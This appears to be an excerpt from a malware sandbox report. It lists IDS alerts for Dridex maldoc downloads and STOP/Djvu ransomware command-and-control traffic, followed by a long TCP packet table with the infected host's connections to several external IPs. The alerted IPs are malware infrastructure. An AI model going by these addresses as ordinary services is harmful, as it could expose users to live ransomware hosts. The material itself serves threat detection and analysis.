04/24/24-12:07:04.822645	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49708	80	192.168.2.5	211.181.24.133
04/24/24-12:07:07.604088	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49711	80	192.168.2.5	189.163.142.13
04/24/24-12:07:04.769679	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49710	80	192.168.2.5	189.163.142.13
04/24/24-12:07:05.352654	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49709	189.163.142.13	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 12:06:56.857959032 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:56.858016014 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:56.858133078 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:56.868360996 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:56.868390083 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:57.201972008 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:57.202111006 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:57.245049953 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:57.245115995 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:57.245362043 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:57.245424032 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:57.247385979 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:57.288151026 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:58.009113073 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:58.009273052 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:58.009325981 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:58.009326935 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:58.011168957 CEST	49705	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:58.011209011 CEST	443	49705	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:58.963113070 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:58.963150024 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:58.963208914 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:58.975826979 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:58.975852013 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:59.305656910 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:59.305794954 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:59.309808969 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:59.309819937 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:59.310189009 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:06:59.310256958 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:59.311625004 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:06:59.356127024 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:00.118344069 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:00.118448973 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:00.118473053 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:00.118511915 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:00.118529081 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:00.118611097 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:00.118710041 CEST	49706	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:00.118726015 CEST	443	49706	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:01.009218931 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.009258986 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:01.009378910 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.018264055 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.018280029 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:01.346333027 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:01.346443892 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.351469994 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.351485014 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:01.351773024 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:01.351821899 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.358200073 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:01.400122881 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:02.146326065 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:02.146394014 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:02.146413088 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:02.146466970 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:02.146476030 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:02.146517992 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:02.146523952 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:02.146534920 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:02.146564960 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:02.146580935 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:02.146702051 CEST	49707	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:02.146712065 CEST	443	49707	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:04.524857044 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:04.559300900 CEST	49709	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:04.560467958 CEST	49710	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:04.769246101 CEST	80	49709	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:04.769289017 CEST	80	49710	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:04.769366026 CEST	49709	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:04.769598961 CEST	49709	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:04.769602060 CEST	49710	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:04.769679070 CEST	49710	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:04.822428942 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:04.822547913 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:04.822644949 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.034868956 CEST	80	49709	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.077586889 CEST	80	49710	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.293939114 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.293999910 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.294050932 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.294095039 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.352564096 CEST	80	49710	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.352617979 CEST	80	49710	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.352644920 CEST	49710	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:05.352653980 CEST	80	49709	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.352677107 CEST	49710	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:05.352686882 CEST	80	49709	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.352734089 CEST	49709	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:05.352734089 CEST	49709	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:05.352798939 CEST	49709	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:05.353795052 CEST	49710	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:05.565965891 CEST	80	49709	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.565995932 CEST	80	49710	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:05.591979980 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.592060089 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.592093945 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.592133999 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.592147112 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.592152119 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.592204094 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.889836073 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.889902115 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.889947891 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.889986992 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.890022993 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.890059948 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.890064001 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890064001 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890064001 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890064001 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890096903 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.890104055 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890104055 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890145063 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:05.890222073 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:05.890270948 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.187930107 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.187982082 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188011885 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188024998 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188065052 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188083887 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188083887 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188122034 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188126087 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188167095 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188174963 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188208103 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188227892 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188247919 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188268900 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188286066 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188306093 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188323975 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188344002 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188380003 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188450098 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188488960 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188528061 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188534021 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188534021 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188565016 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188580990 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188604116 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188617945 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188642979 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.188657999 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.188720942 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486094952 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486149073 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486221075 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486260891 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486293077 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486330032 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486349106 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486386061 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486494064 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486553907 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486567974 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486605883 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486624956 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486643076 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486659050 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486694098 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486745119 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486782074 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.486808062 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486836910 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.486999989 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487040043 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487060070 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487076998 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487098932 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487116098 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487133980 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487170935 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487339020 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487399101 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487422943 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487487078 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487523079 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487588882 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487592936 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487632036 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487656116 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487680912 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487833977 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487873077 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.487894058 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487934113 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.487936974 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488001108 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488188982 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488244057 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488298893 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488358021 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488482952 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488539934 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488554955 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488611937 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488627911 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488666058 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488693953 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488718987 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488765955 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488804102 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488825083 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488873005 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488889933 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488909960 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.488923073 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.488965034 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784229994 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784296036 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784298897 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784332991 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784341097 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784375906 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784394026 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784418106 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784430981 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784457922 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784486055 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784492970 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784521103 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784532070 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784544945 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784569025 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784584045 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784610987 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784624100 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784665108 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784804106 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784877062 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.784909964 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784948111 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.784965038 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785007954 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785082102 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785136938 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785270929 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785307884 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785358906 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785358906 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785377979 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785434961 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785471916 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785511017 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785528898 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785594940 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785617113 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785659075 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785675049 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785696030 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785706043 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785762072 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785768032 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785819054 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785840034 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785895109 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.785943031 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.785989046 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786011934 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786050081 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786072016 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786101103 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786120892 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786159039 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786173105 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786197901 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786211967 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786237001 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786247969 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786273956 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786287069 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786310911 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786324024 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786362886 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786380053 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786432028 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786479950 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786533117 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786578894 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786633968 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786678076 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786731958 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786751986 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786803007 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.786850929 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.786901951 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787012100 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787067890 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787081957 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787137032 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787153006 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787190914 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787206888 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787246943 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787261963 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787297964 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787311077 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787349939 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787400007 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787448883 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787499905 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787564993 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787570000 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787607908 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787616968 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787659883 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787678003 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787715912 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787734032 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787754059 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787764072 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787792921 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787808895 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787832022 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.787847042 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.787889957 CEST	49708	80	192.168.2.5	211.181.24.133
Apr 24, 2024 12:07:06.788002014 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788038015 CEST	80	49708	211.181.24.133	192.168.2.5
Apr 24, 2024 12:07:06.788065910 CEST	49708	80	192.168.2.5	211.181.24.133
